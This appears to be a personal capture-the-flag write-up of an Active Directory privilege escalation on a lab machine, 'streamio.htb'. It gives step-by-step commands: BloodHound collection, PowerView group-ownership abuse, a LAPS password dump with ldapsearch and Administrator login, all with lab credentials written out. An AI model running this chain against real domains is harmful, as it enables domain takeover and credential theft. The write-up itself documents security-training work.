Use Bloodhound to find out more about our newly found Credentials that we canā€™t winrm to

  1. Create data that we can import into Bloodhound
    1. mkdir bloodhound ā†’ cd bloodhound

    2. bloodhound-python -c All -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb -dc streamio.htb --zip

      Untitled

    3. unzip 20230907193135_bloodhound.zip

      Untitled

  2. Boot up Bloodhound
  3. Upload Data ā†’ all of the files we extracted from the .zip, then I queried a bunch of shit.
  4. Top left toggle stack ā†’ Analysis ā†’ Shortest Paths to Unconstrained Delegation Systems

Untitled

If we look, JDGODD has WriteOwner to CORE STAFF which will READLAPSPassword and then give us Domain Controller

Get LAPS Password

  1. We can actually dump LAPS passwords with ldapsearch, but first we need to use PowerShell to add JDgodd into the CORE STAFF group by using something called PowerView
    1. https://malicious.link/post/2017/dump-laps-passwords-with-ldapsearch/
    2. https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
  2. wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
  3. evil-winrm allows upload functionality so since weā€™re in the same directory as where we started it we can just call
    1. upload PowerView.ps1 from nikk37

      Untitled

  4. Set variables for JDgodd
C:\tmp> . .\PowerView.ps1
C:\tmp> $secpass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
C:\tmp> $cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $secpass)
C:\tmp> Set-DomainObjectOwner -Identity 'Core Staff' -OwnerIdentity JDgodd -Cred $cred
C:\tmp> Add-DomainObjectAcl -TargetIdentity "Core Staff" -PrincipalIdentity JDgodd -Cred $cred -Rights All
C:\tmp> Add-DomainGroupMember -Identity 'Core Staff' -Members 'JDgodd' -Cred $cred
  1. net group 'Core Staff'

    Untitled

Now we can use ldapsearch

Earlier I was trying to use ldapsearch and realized JDgodd wasnā€™t in the CORE STAFF group and was wondering why it wasnā€™t working lol

  1. ldapsearch -H ldap://10.10.11.158 -b 'DC=streamIO,DC=htb' -x -D JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Untitled

kcXHXZ5jea;M7-

  1. crackmapexec winrm 10.10.11.158 -u 'Administrator' -p 'kcXHXZ5jea;M7-'

Untitled

  1. Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -File -Filter "root.txt"
    1. Find root.txt cuz it wasnā€™t in Admin - mfs hidin it yo

Untitled


Useful resource links

https://portswigger.net/web-security/sql-injection/cheat-sheet#database-version

https://docs.microsoft.com/en-us/sql/relational-databases/databases/system-databases?view=sql-server-ver16

https://github.com/lclevy/firepwd

https://malicious.link/post/2017/dump-laps-passwords-with-ldapsearch/

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Lessons Learned